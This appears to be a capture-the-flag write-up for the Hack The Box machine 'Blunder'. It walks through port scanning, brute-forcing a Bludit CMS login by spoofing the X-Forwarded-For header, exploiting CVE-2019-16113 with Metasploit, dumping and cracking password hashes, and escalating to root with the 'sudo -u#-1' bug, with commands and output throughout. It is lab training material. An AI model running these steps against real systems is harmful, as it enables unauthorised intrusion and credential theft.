HTB Write-up | Blunder

Retired machine can be found here.

Scanning

Scanning with nmap only retrieved an Apache web server running on port 80.

~ nmap -sV -sC -A blunder.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-12 10:13 WEST
Nmap scan report for blunder.htb (10.10.10.191)
Host is up (0.48s latency).
Not shown: 998 filtered ports
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.87 seconds

The Home and About pages are very simple, just a couple of posts that don't seem very relevant, but from the source code we can tell this blog was created using version 3.9.2. of the Bludit CMS.

Checking for Bludit Vulnerabilities

As with most Bludit-based applications, this one has an admin page:

After checking for vulnerabilities there is only 1 that matches this version and seems interesting:

CVE-2019-16113: "remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg file name, and then this PHP code can write other PHP code to a ../ pathname."

From the CVE Details page we also know there's a Metasploit module linked to this CVE, however, this module requires us to know user and pass.

msf5 > use exploit/linux/http/bludit_upload_images_exec

msf5 exploit(linux/http/bludit_upload_images_exec) > show info
...
Description:
  This module exploits a vulnerability in Bludit. A remote user could 
  abuse the uuid parameter in the image upload feature in order to 
  save a malicious payload anywhere onto the server, and then use a 
  custom .htaccess file to bypass the file extension check to finally 
  get remote code execution.

We don't know the credentials but according to this open Github issue, we do know that the username is admin by default, which means we might be able to brute-force the password.

Bypassing Brute Force Protection

When I tried to brute-force the password using Burp, only the first request seemed to be processed correctly, the following requests all returned 301.

After a bit of Googling, I realised this is caused by Bludit's "Brute Force Protection" feature, that's present on all versions after 3.9.2.

Luckily, some more Googling produced a very useful article that tells us how to bypass this mechanism. Turns out, the application determines the user's IP by trusting the X-Forwarded-For and Client-IP HTTP headers. Once Bludit detects more than x failed authentication requests (this number is configurable), it starts rejecting the authentication requests.

Since there's no validation that the IP is valid, we can simply pass the password as the X-Forwarded-For param, and then we can try to brute-force the passwords:

None of the usual wordlists worked, so, following a tip from the Forum I decided to create a custom wordlist from the website using CeWL:

$ cewl -d 1 -m 5 -w blunder-wordlist.txt http://blunder.htb
  • -d indicates the max scan depth;
  • -m is the minimum word length;
  • -w file where the wordlist will be written to.

Unfortunately, this also failed, so I went back fuzzing.


Fuzzing for Credentials

It took a while but I finally found something interesting:

$ wfuzz -w common.txt --hc 404 http://blunder.htb/FUZZ.txt
...
000004125:   200        4 L      23 W     118 Ch      "todo"
...

The todo file contains the following information:

-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

So, some interesting new information:

  • there is an FTP service configured on this machine;
  • there is someone named fergus that might correspond to a user name;

So, again we try to brute-force the password but now for the user fergus.

$ python3 bludit-auth-bruteforce.py -host 'http://blunder.htb' -loginpath '/admin/login' -username 'fergus' -passwordfile 'blunder-wordlist.txt'

...
Password found!
Use fergus:RolandDeschain to login.

Getting User

Now that we have valid credentials for fergus, we can test the Metasploit module we found previously. After changing the payload, we're in!

meterpreter > getuid
Server username: www-data (33)

meterpreter > sysinfo
Computer    : blunder
OS          : Linux blunder 5.3.0-53-generic #47-Ubuntu SMP Thu May 7 12:18:16 UTC 2020 x86_64
Meterpreter : php/linux

Now that we have access to the blog's source files, we can read the users.php database:

> cat databases/users.php

<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        ...
    },
    "fergus": {
        "firstName": "&quot; or 1=1 #",
        "lastName": "&quot; or 1=1 #",
        "nickname": "&quot; or 1=1 #",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "&quot; or 1=1 #",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "73a6fca50fe0ad2edb1390e0a1bfb8b5",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        ...
    }
}

There is also a folder for another version of the application, which contains a different version of the users.php database:

cat /var/www/bludit-3.10.0a/bl-content/databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        ...
}

So, we now have the following credentials:

username hash salt password
fergus bfcc887f62e36ea019e3295aafb8a3885966e265 5dde2887e7aca RolandDeschain
admin be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7 jqxpjfnv
admin (hugo) faca404fd5c0a31cf1897b823c695c85cffeb98d

This last user is particularly interesting because hugo is one of the users that have a directory on the home dir:

Listing: /home
==============

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40755/rwxr-xr-x  4096  dir   2020-05-26 09:29:29 +0100  hugo
40755/rwxr-xr-x  4096  dir   2020-04-28 12:13:35 +0100  shaun

After some googling, I realised hugo's password is just a non-salted SHA-1 hash for Password120. Let's authenticate as hugo:

meterpreter > shell
Process 32464 created.
Channel 10 created.
su - hugo
Password: Password120

cat user.txt
c0c23698b18cc480ebd74fd6570281ef

Getting root

This is one of those instances of starting with the low-hanging fruit:

hugo@blunder:~$ sudo -u#-1 bash
sudo -u#-1 bash
Password: Password120

root@blunder:/home/hugo# cat /root/root.txt
cat /root/root.txt
6ffe09ebd667f8eb04c6c65b6260e6ce
root@blunder:/home/hugo#

That's it! Hope you enjoyed it!